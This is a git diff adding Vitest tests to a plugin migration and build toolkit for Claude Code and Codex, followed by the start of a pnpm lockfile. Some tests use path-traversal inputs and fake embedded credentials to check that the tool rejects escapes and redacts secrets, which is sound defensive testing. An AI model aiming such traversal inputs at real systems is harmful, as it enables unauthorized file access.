parseGitHubSource('https://github.com/owner/repo/tree/main/../../outside')).toThrow('must stay inside'); + }); + + it('creates a canonical project and preserves unmapped resources in a sidecar', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const source = legacyProjectFixture; + const report = await migrate({ + cwd: root, + source, + destination: 'migrated', + name: 'migrated-plugin', + description: 'Migrated fixture.', + }); + + expect(report.success).toBe(true); + expect(report.sourceType).toBe('project'); + expect(report.items).toContainEqual(expect.objectContaining({ kind: 'instruction', outcome: 'unmapped' })); + expect(await fs.readFile(path.join(root, 'migrated/src/skills/my-skill/SKILL.md'), 'utf8')).toContain('description:'); + expect(JSON.parse(await fs.readFile(path.join(root, 'migrated/.acplugin-migration/report.json'), 'utf8'))).toMatchObject({ schemaVersion: '1' }); + }); + + it('strict dry-run fails on preserved unmapped resources and writes no destination', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const source = legacyProjectFixture; + const report = await migrate({ + cwd: root, + source, + destination: 'migrated', + name: 'migrated-plugin', + description: 'Migrated fixture.', + strict: true, + dryRun: true, + }); + + expect(report.success).toBe(false); + await expect(fs.access(path.join(root, 'migrated'))).rejects.toThrow(); + }); + + it('migrates all marketplace plugins into a pnpm workspace at a nested destination', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const marketplace = path.join(root, 'marketplace'); + await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); + await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ + name: 'fixture-marketplace', + plugins: [ + { name: 'first-plugin', description: 'First plugin.', version: '1.0.0', source: './plugins/first' }, + { name: 'second-plugin', description: 'Second plugin.', version: '1.0.0', source: './plugins/second' }, + ], + })); + for (const plugin of ['first', 'second']) { + await fs.mkdir(path.join(marketplace, 'plugins', plugin, 'skills', 'hello'), { recursive: true }); + await fs.writeFile(path.join(marketplace, 'plugins', plugin, 'skills/hello/SKILL.md'), `--- +description: Hello from ${plugin}. +--- +Run the ${plugin} workflow. +`); + } + + const report = await migrate({ + cwd: root, + source: 'marketplace', + destination: 'nested/migrated', + all: true, + }); + + expect(report).toMatchObject({ success: true, sourceType: 'marketplace', projects: ['first-plugin', 'second-plugin'] }); + expect(await fs.readFile(path.join(root, 'nested/migrated/pnpm-workspace.yaml'), 'utf8')).toContain('first-plugin'); + await fs.access(path.join(root, 'nested/migrated/second-plugin/src/skills/hello/SKILL.md')); + }); + + it('rejects marketplace sources that resolve outside the source tree', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const marketplace = path.join(root, 'marketplace'); + await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); + await fs.mkdir(path.join(root, 'outside', 'skills', 'escape'), { recursive: true }); + await fs.writeFile(path.join(root, 'outside/skills/escape/SKILL.md'), '---\ndescription: Escape.\n---\nEscape.\n'); + await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ + name: 'unsafe-marketplace', + plugins: [{ name: 'escape', description: 'Escape.', source: '../outside' }], + })); + + await expect(migrate({ cwd: root, source: 'marketplace', destination: 'migrated', all: true })).rejects.toThrow('must stay inside'); + await expect(fs.access(path.join(root, 'migrated'))).rejects.toThrow(); + }); + + it('never copies literal MCP credentials into canonical or unmapped output', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const source = path.join(root, 'legacy-project'); + await fs.mkdir(path.join(source, '.claude'), { recursive: true }); + await fs.writeFile(path.join(source, '.mcp.json'), JSON.stringify({ + mcpServers: { + secret: { + type: 'http', + url: 'https://user:password@example.com/mcp?token=top-secret', + headers: { Authorization: 'Bearer top-secret' }, + }, + }, + })); + + const report = await migrate({ + cwd: root, source: 'legacy-project', destination: 'migrated', + name: 'safe-plugin', description: 'Safe migration.', + }); + const output = await fs.readFile(path.join(root, 'migrated/.acplugin-migration/unmapped/mcp/secret.json'), 'utf8'); + + expect(report.items).toContainEqual(expect.objectContaining({ kind: 'mcp', id: 'secret', outcome: 'unmapped' })); + expect(output).not.toContain('top-secret'); + expect(output).not.toContain('password'); + expect(output).toContain(''); + }); + + it('preserves Hook implementation files without treating them as trusted canonical handlers', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const source = path.join(root, 'legacy-project'); + await fs.mkdir(path.join(source, '.claude'), { recursive: true }); + await fs.mkdir(path.join(source, 'scripts'), { recursive: true }); + await fs.writeFile(path.join(source, '.claude/settings.json'), JSON.stringify({ + hooks: { + PreToolUse: [{ hooks: [{ type: 'command', command: 'bash "${CLAUDE_PROJECT_DIR}/scripts/check.sh"' }] }], + }, + })); + await fs.writeFile(path.join(source, 'scripts/check.sh'), '#!/bin/sh\nexit 0\n'); + + const report = await migrate({ + cwd: root, + source: 'legacy-project', + destination: 'migrated', + name: 'hook-project', + description: 'Hook migration fixture.', + }); + + expect(report.items).toContainEqual(expect.objectContaining({ + kind: 'hook-file', + outcome: 'unmapped', + destination: '.acplugin-migration/unmapped/hook-files/scripts/check.sh', + })); + expect(await fs.readFile(path.join(root, 'migrated/.acplugin-migration/unmapped/hook-files/scripts/check.sh'), 'utf8')).toContain('exit 0'); + await expect(fs.access(path.join(root, 'migrated/src/hooks'))).rejects.toThrow(); + }); + + it('does not create nested destination parents during dry-run', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + const source = legacyProjectFixture; + await migrate({ + cwd: root, + source, + destination: 'not-created/nested/migrated', + name: 'migrated-plugin', + description: 'Dry migration fixture.', + dryRun: true, + }); + + await expect(fs.access(path.join(root, 'not-created'))).rejects.toThrow(); + }); +}); diff --git a/packages/test/test/modules.test.ts b/packages/test/test/modules.test.ts new file mode 100644 index 0000000..e7dfdd4 --- /dev/null +++ b/packages/test/test/modules.test.ts @@ -0,0 +1,213 @@ +import { promises as fs } from 'node:fs'; +import { spawn } from 'node:child_process'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + buildProject, + resolveConfig, + type TypeScriptModuleLoader, +} from '@acplugin/core'; +import { claudeCodeCompiler } from '@acplugin/compiler-claude-code'; +import { codexCompiler } from '@acplugin/compiler-codex'; +import hooks, { defineHook } from '@tokenroll/acplugin-module-hooks'; +import mcp, { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; + +const roots: string[] = []; + +async function runNode(file: string, input: string): Promise<{ code: number | null; stdout: string; stderr: string }> { + return new Promise((resolve, reject) => { + const child = spawn(process.execPath, [file], { stdio: ['pipe', 'pipe', 'pipe'] }); + let stdout = ''; + let stderr = ''; + child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); + child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); + child.once('error', reject); + child.once('close', code => resolve({ code, stdout, stderr })); + child.stdin.end(input); + }); +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('official Modules', () => { + it('builds portable Hooks and remote/local MCP into both targets', async () => { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-modules-test-')); + roots.push(root); + await fs.mkdir(path.join(root, 'src/skills/tools'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/policy'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/permission'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/compact'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/session-end'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); + await fs.mkdir(path.join(root, 'node_modules/license-fixture'), { recursive: true }); + await fs.writeFile(path.join(root, 'node_modules/license-fixture/package.json'), JSON.stringify({ + name: 'license-fixture', + version: '1.2.3', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(root, 'node_modules/license-fixture/index.js'), `export default process.env.LICENSE_FIXTURE !== 'off';\n`); + await fs.writeFile(path.join(root, 'node_modules/license-fixture/LICENSE'), 'Fixture MIT license text.\n'); + await fs.writeFile(path.join(root, 'src/skills/tools/SKILL.md'), '---\ndescription: Use the tools.\n---\nUse the available tools safely.\n'); + await fs.writeFile(path.join(root, 'src/hooks/policy/hook.ts'), `import marker from 'license-fixture'; + export default { + __acpluginHook: true, + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + async run() { return { decision: marker ? 'allow' : 'deny' }; }, + };`); + await fs.writeFile(path.join(root, 'src/hooks/permission/hook.ts'), `export default { __acpluginHook: true, event: 'PermissionRequest', async run() { return { decision: 'defer' }; } };`); + await fs.writeFile(path.join(root, 'src/hooks/compact/hook.ts'), `export default { __acpluginHook: true, event: 'PreCompact', async run() { return { decision: 'continue' }; } };`); + await fs.writeFile(path.join(root, 'src/hooks/session-end/hook.ts'), `export default { __acpluginHook: true, event: 'SessionEnd', async run() { return { decision: 'stop' }; } };`); + await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), 'export default {};'); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), 'export default {};'); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` +import marker from 'license-fixture'; +let buffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk) => { + buffer += chunk; + let newline; + while ((newline = buffer.indexOf('\\n')) >= 0) { + const line = buffer.slice(0, newline); + buffer = buffer.slice(newline + 1); + if (!line) continue; + const request = JSON.parse(line); + if (request.method === 'initialize') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: request.id, result: { + protocolVersion: '2025-11-25', capabilities: { tools: {} }, serverInfo: { name: marker ? 'fixture' : 'invalid', version: '1.0.0' }, + } }) + '\\n'); + } else if (request.method === 'tools/list') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: request.id, result: { tools: [] } }) + '\\n'); + } + } +}); +`); + + const hookDefinition = defineHook({ + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + async run() { return { decision: 'allow' }; }, + }); + const permissionDefinition = defineHook({ + event: 'PermissionRequest', + async run() { + return { decision: 'defer' }; + }, + }); + const compactDefinition = defineHook({ + event: 'PreCompact', + async run() { + return { decision: 'continue' }; + }, + }); + const invalidSessionEndDefinition = { + __acpluginHook: true, + event: 'SessionEnd', + async run() { + return { decision: 'stop' }; + }, + } as any; + const loader: TypeScriptModuleLoader = async (file) => { + if (file.endsWith('/hooks/policy/hook.ts')) + return hookDefinition; + if (file.endsWith('/hooks/permission/hook.ts')) + return permissionDefinition; + if (file.endsWith('/hooks/compact/hook.ts')) + return compactDefinition; + if (file.endsWith('/hooks/session-end/hook.ts')) + return invalidSessionEndDefinition; + if (file.endsWith('/mcp/docs/mcp.ts')) + return defineMcpServer({ transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT' } } }); + if (file.endsWith('/mcp/local-tools/mcp.ts')) + return defineMcpServer({ transport: 'stdio', env: { TOKEN: { env: 'LOCAL_TOKEN' } } }); + throw new Error(`Unexpected descriptor ${file}`); + }; + const resolved = resolveConfig({ + name: 'module-plugin', + version: '1.0.0', + description: 'Module plugin.', + modules: [hooks(), mcp()], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + expect(resolved.diagnostics).toEqual([]); + + const result = await buildProject({ + config: resolved.config!, + compilers: new Map([ + ['claude-code', claudeCodeCompiler], + ['codex', codexCompiler], + ]), + loadTypeScriptModule: loader, + commit: true, + }); + + expect(result.report.success).toBe(true); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/.mcp.json'), 'utf8'))).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.mcp.json'), 'utf8'))).toMatchObject({ + 'docs': { bearer_token_env_var: 'DOCS_TOKEN', env_http_headers: { 'X-Tenant': 'TENANT' } }, + 'local-tools': { env_vars: ['LOCAL_TOKEN'] }, + }); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.codex-plugin/plugin.json'), 'utf8'))).toHaveProperty('mcpServers', './.mcp.json'); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/hooks/hooks.json'), 'utf8'))).toHaveProperty('hooks.PreToolUse'); + const hookHandler = path.join(root, 'dist/codex/hooks/policy/handler.mjs'); + expect((await fs.stat(hookHandler)).mode & 0o111).not.toBe(0); + const hookRun = await runNode(hookHandler, JSON.stringify({ + hook_event_name: 'PreToolUse', + session_id: 'session', + cwd: root, + tool_name: 'Bash', + })); + expect(hookRun).toMatchObject({ code: 0, stderr: '' }); + expect(JSON.parse(hookRun.stdout)).toHaveProperty('hookSpecificOutput.permissionDecision', 'allow'); + const malformedRun = await runNode(hookHandler, 'secret-payload-that-is-not-json'); + expect(malformedRun.code).toBe(1); + expect(malformedRun.stdout).toBe(''); + expect(malformedRun.stderr).toBe('acplugin hook error: INPUT_JSON_INVALID\n'); + expect(malformedRun.stderr).not.toContain('secret-payload'); + const permissionRun = await runNode(path.join(root, 'dist/codex/hooks/permission/handler.mjs'), JSON.stringify({ + hook_event_name: 'PermissionRequest', session_id: 'session', cwd: root, + })); + expect(permissionRun).toMatchObject({ code: 0, stdout: '', stderr: '' }); + const compactRun = await runNode(path.join(root, 'dist/codex/hooks/compact/handler.mjs'), JSON.stringify({ + hook_event_name: 'PreCompact', session_id: 'session', cwd: root, + })); + expect(compactRun).toMatchObject({ code: 0, stdout: '', stderr: '' }); + const invalidSessionEndRun = await runNode(path.join(root, 'dist/codex/hooks/session-end/handler.mjs'), JSON.stringify({ + hook_event_name: 'SessionEnd', session_id: 'session', cwd: root, + })); + expect(invalidSessionEndRun).toMatchObject({ code: 1, stdout: '', stderr: 'acplugin hook error: RESULT_DECISION_INVALID\n' }); + expect(await fs.readFile(path.join(root, 'dist/codex/hooks/policy/THIRD_PARTY_LICENSES.txt'), 'utf8')).toContain('license-fixture@1.2.3'); + const localServer = path.join(root, 'dist/codex/mcp/local-tools/server.mjs'); + const mcpRun = await runNode(localServer, [ + JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } } }), + JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), + JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), + '', + ].join('\n')); + expect(mcpRun).toMatchObject({ code: 0, stderr: '' }); + expect(mcpRun.stdout.trim().split('\n').map(line => JSON.parse(line))).toEqual([ + expect.objectContaining({ id: 1, result: expect.objectContaining({ serverInfo: { name: 'fixture', version: '1.0.0' } }) }), + expect.objectContaining({ id: 2, result: { tools: [] } }), + ]); + expect(await fs.readFile(path.join(root, 'dist/codex/mcp/local-tools/THIRD_PARTY_LICENSES.txt'), 'utf8')).toContain('Fixture MIT license text.'); + + const installedRoot = path.join(root, 'installed-cache', 'module-plugin', '1.0.0'); + await fs.mkdir(path.dirname(installedRoot), { recursive: true }); + await fs.cp(path.join(root, 'dist/codex'), installedRoot, { recursive: true }); + const installedDescriptor = JSON.parse(await fs.readFile(path.join(installedRoot, '.mcp.json'), 'utf8')) as Record; + const installed = installedDescriptor['local-tools']!; + const installedRun = await runNode(path.resolve(installedRoot, installed.cwd, installed.args[0]!), [ + JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } } }), + '', + ].join('\n')); + expect(installedRun.code).toBe(0); + expect(JSON.parse(installedRun.stdout)).toHaveProperty('result.serverInfo.name', 'fixture'); + }); +}); diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts new file mode 100644 index 0000000..c6d6ae6 --- /dev/null +++ b/packages/test/test/repository.test.ts @@ -0,0 +1,63 @@ +import { execFile } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { promisify } from 'node:util'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +const execFileAsync = promisify(execFile); +const root = fileURLToPath(new URL('../../..', import.meta.url)); + +async function read(relativePath: string): Promise { + return fs.readFile(path.join(root, relativePath), 'utf8'); +} + +describe('repository release and documentation guards', () => { + it('accepts only a tag matching the fixed public cohort', async () => { + const manifest = JSON.parse(await read('packages/acplugin/package.json')) as { version: string }; + await expect(execFileAsync(process.execPath, ['scripts/verify-release-cohort.mjs', `tokenroll-v${manifest.version}`], { cwd: root })).resolves.toMatchObject({ + stdout: expect.stringContaining(`Verified fixed @tokenroll/acplugin ${manifest.version} release cohort`), + }); + await expect(execFileAsync(process.execPath, ['scripts/verify-release-cohort.mjs', 'tokenroll-v9.9.9'], { cwd: root })).rejects.toThrow(`must equal tokenroll-v${manifest.version}`); + }); + + it('keeps the release workflow dependency-safe and credentialless', async () => { + const workflow = await read('.github/workflows/publish-npm.yml'); + const publisher = await read('scripts/publish-release-cohort.mjs'); + const hooks = publisher.indexOf('@tokenroll/acplugin-module-hooks'); + const mcp = publisher.indexOf('@tokenroll/acplugin-module-mcp'); + const main = publisher.indexOf('@tokenroll/acplugin', mcp + 1); + + expect(workflow).toContain('tags:\n - "tokenroll-v*"'); + expect(workflow).toContain('node scripts/verify-release-cohort.mjs "$GITHUB_REF_NAME"'); + expect(workflow).toContain('run: node scripts/publish-release-cohort.mjs'); + expect(hooks).toBeGreaterThan(-1); + expect(mcp).toBeGreaterThan(hooks); + expect(main).toBeGreaterThan(mcp); + expect(`${workflow}\n${publisher}`).not.toMatch(/NPM_TOKEN|npm-token|npm unpublish|npm dist-tag/i); + await expect(execFileAsync(process.execPath, ['scripts/publish-release-cohort.mjs', '--self-test'], { cwd: root })).resolves.toMatchObject({ + stdout: expect.stringContaining('Verified release cohort exact-version skip and bounded retry behavior.'), + }); + }); + + it('keeps current docs free of the retired namespace and CLI', async () => { + const docs = await Promise.all([ + 'README.md', + 'README.zh-CN.md', + 'AGENTS.md', + 'llmdoc/index.md', + 'llmdoc/startup.md', + 'llmdoc/overview/project.md', + 'llmdoc/architecture/system.md', + 'llmdoc/guides/usage.md', + 'llmdoc/guides/release.md', + 'llmdoc/reference/conversion-matrix.md', + ].map(read)); + const currentDocumentation = docs.join('\n'); + + expect(currentDocumentation).not.toContain('@disdjj/acplugin'); + expect(currentDocumentation).not.toMatch(/\bacplugin (?:scan|convert)\b/); + expect(currentDocumentation).not.toContain('src/converter/'); + expect(currentDocumentation).not.toContain('.github/workflows/acplugin.yml'); + }); +}); diff --git a/packages/test/test/workspace.test.ts b/packages/test/test/workspace.test.ts new file mode 100644 index 0000000..e381625 --- /dev/null +++ b/packages/test/test/workspace.test.ts @@ -0,0 +1,8 @@ +import { describe, expect, it } from 'vitest'; +import { CORE_SCHEMA_VERSION } from '@acplugin/core'; + +describe('workspace', () => { + it('resolves private production packages from the test workspace', () => { + expect(CORE_SCHEMA_VERSION).toBe('1'); + }); +}); diff --git a/packages/test/tsconfig.json b/packages/test/tsconfig.json new file mode 100644 index 0000000..e523885 --- /dev/null +++ b/packages/test/tsconfig.json @@ -0,0 +1,8 @@ +{ + "extends": "../../tsconfig.base.json", + "compilerOptions": { + "exactOptionalPropertyTypes": false, + "noUncheckedIndexedAccess": false + }, + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts new file mode 100644 index 0000000..2c5fea9 --- /dev/null +++ b/packages/test/vitest.config.ts @@ -0,0 +1,22 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +function workspaceSource(path: string): string { + return fileURLToPath(new URL(path, import.meta.url)); +} + +export default defineConfig({ + test: { + environment: 'node', + }, + resolve: { + alias: { + '@acplugin/core': workspaceSource('../core/src/index.ts'), + '@acplugin/compiler-claude-code': workspaceSource('../compiler-claude-code/src/index.ts'), + '@acplugin/compiler-codex': workspaceSource('../compiler-codex/src/index.ts'), + '@tokenroll/acplugin': workspaceSource('../acplugin/src/index.ts'), + '@tokenroll/acplugin-module-hooks': workspaceSource('../module-hooks/src/index.ts'), + '@tokenroll/acplugin-module-mcp': workspaceSource('../module-mcp/src/index.ts'), + }, + }, +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 0000000..d30f7d1 --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,4050 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +catalogs: + default: + '@arethetypeswrong/core': + specifier: ^0.18.5 + version: 0.18.5 + '@changesets/cli': + specifier: ^2.31.1 + version: 2.31.1 + '@eslint/js': + specifier: ^10.0.1 + version: 10.0.1 + '@iarna/toml': + specifier: ^2.2.5 + version: 2.2.5 + '@inquirer/prompts': + specifier: ^8.3.2 + version: 8.5.2 + '@stylistic/eslint-plugin': + specifier: ^5.10.0 + version: 5.10.0 + '@types/node': + specifier: ^20.19.0 + version: 20.19.43 + '@types/semver': + specifier: ^7.7.1 + version: 7.8.0 + chalk: + specifier: ^5.6.2 + version: 5.6.2 + chokidar: + specifier: ^5.0.0 + version: 5.0.0 + commander: + specifier: ^15.0.0 + version: 15.0.0 + eslint: + specifier: ^10.8.0 + version: 10.8.0 + glob: + specifier: ^13.0.6 + version: 13.0.6 + gray-matter: + specifier: ^4.0.3 + version: 4.0.3 + husky: + specifier: ^9.1.7 + version: 9.1.7 + jiti: + specifier: ^2.7.0 + version: 2.7.0 + lint-staged: + specifier: ^17.2.0 + version: 17.2.0 + ora: + specifier: ^5.4.1 + version: 5.4.1 + publint: + specifier: ^0.3.23 + version: 0.3.23 + rolldown: + specifier: ^1.2.2 + version: 1.2.2 + semver: + specifier: ^7.8.5 + version: 7.8.5 + tsdown: + specifier: ^0.22.14 + version: 0.22.14 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + typescript-eslint: + specifier: ^8.65.0 + version: 8.65.0 + vitest: + specifier: ^4.1.10 + version: 4.1.10 + yaml: + specifier: ^2.9.0 + version: 2.9.0 + +importers: + + .: + devDependencies: + '@arethetypeswrong/core': + specifier: 'catalog:' + version: 0.18.5 + '@changesets/cli': + specifier: 'catalog:' + version: 2.31.1(@types/node@20.19.43) + '@eslint/js': + specifier: 'catalog:' + version: 10.0.1(eslint@10.8.0(jiti@2.7.0)) + '@stylistic/eslint-plugin': + specifier: 'catalog:' + version: 5.10.0(eslint@10.8.0(jiti@2.7.0)) + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + eslint: + specifier: 'catalog:' + version: 10.8.0(jiti@2.7.0) + husky: + specifier: 'catalog:' + version: 9.1.7 + lint-staged: + specifier: 'catalog:' + version: 17.2.0 + publint: + specifier: 'catalog:' + version: 0.3.23 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + typescript-eslint: + specifier: 'catalog:' + version: 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/acplugin: + dependencies: + '@iarna/toml': + specifier: 'catalog:' + version: 2.2.5 + '@inquirer/prompts': + specifier: 'catalog:' + version: 8.5.2(@types/node@20.19.43) + chalk: + specifier: 'catalog:' + version: 5.6.2 + chokidar: + specifier: 'catalog:' + version: 5.0.0 + commander: + specifier: 'catalog:' + version: 15.0.0 + glob: + specifier: 'catalog:' + version: 13.0.6 + gray-matter: + specifier: 'catalog:' + version: 4.0.3 + jiti: + specifier: 'catalog:' + version: 2.7.0 + ora: + specifier: 'catalog:' + version: 5.4.1 + devDependencies: + '@acplugin/compiler-claude-code': + specifier: workspace:* + version: link:../compiler-claude-code + '@acplugin/compiler-codex': + specifier: workspace:* + version: link:../compiler-codex + '@acplugin/core': + specifier: workspace:* + version: link:../core + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/compiler-claude-code: + dependencies: + '@acplugin/core': + specifier: workspace:* + version: link:../core + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/compiler-codex: + dependencies: + '@acplugin/core': + specifier: workspace:* + version: link:../core + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/core: + dependencies: + semver: + specifier: 'catalog:' + version: 7.8.5 + yaml: + specifier: 'catalog:' + version: 2.9.0 + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + '@types/semver': + specifier: 'catalog:' + version: 7.8.0 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/module-hooks: + dependencies: + rolldown: + specifier: 'catalog:' + version: 1.2.2 + devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../acplugin + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/module-mcp: + dependencies: + rolldown: + specifier: 'catalog:' + version: 1.2.2 + devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../acplugin + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/test: + dependencies: + '@acplugin/compiler-claude-code': + specifier: workspace:* + version: link:../compiler-claude-code + '@acplugin/compiler-codex': + specifier: workspace:* + version: link:../compiler-codex + '@acplugin/core': + specifier: workspace:* + version: link:../core + '@tokenroll/acplugin': + specifier: workspace:* + version: link:../acplugin + '@tokenroll/acplugin-module-hooks': + specifier: workspace:* + version: link:../module-hooks + '@tokenroll/acplugin-module-mcp': + specifier: workspace:* + version: link:../module-mcp + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + typescript: + specifier: 'catalog:' + version: 5.9.3 + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + +packages: + + '@andrewbranch/untar.js@1.0.3': + resolution: {integrity: sha512-Jh15/qVmrLGhkKJBdXlK1+9tY4lZruYjsgkDFj08ZmDiWVBLJcqkok7Z0/R0In+i1rScBpJlSvrTS2Lm41Pbnw==} + + '@arethetypeswrong/core@0.18.5': + resolution: {integrity: sha512-9ytjzGwxjm9Uz7I9avfbt5vlQt6uk9uRRESzJjqrznl6WKvI6dwYTo+vJ3U02Wrq/mR3iql/PzhvHhKdJIAjDQ==} + engines: {node: '>=20'} + + '@babel/runtime@7.29.7': + resolution: {integrity: sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==} + engines: {node: '>=6.9.0'} + + '@braidai/lang@1.1.2': + resolution: {integrity: sha512-qBcknbBufNHlui137Hft8xauQMTZDKdophmLFv05r2eNmdIv/MlPuP4TdUknHG68UdWLgVZwgxVe735HzJNIwA==} + + '@changesets/apply-release-plan@7.1.1': + resolution: {integrity: sha512-9qPCm/rLx/xoOFXIHGB229+4GOL76S4MC+7tyOuTsR6+1jYlfFDQORdvwR5hDA6y4FL2BPt3qpbcQIS+dW85LA==} + + '@changesets/assemble-release-plan@6.0.10': + resolution: {integrity: 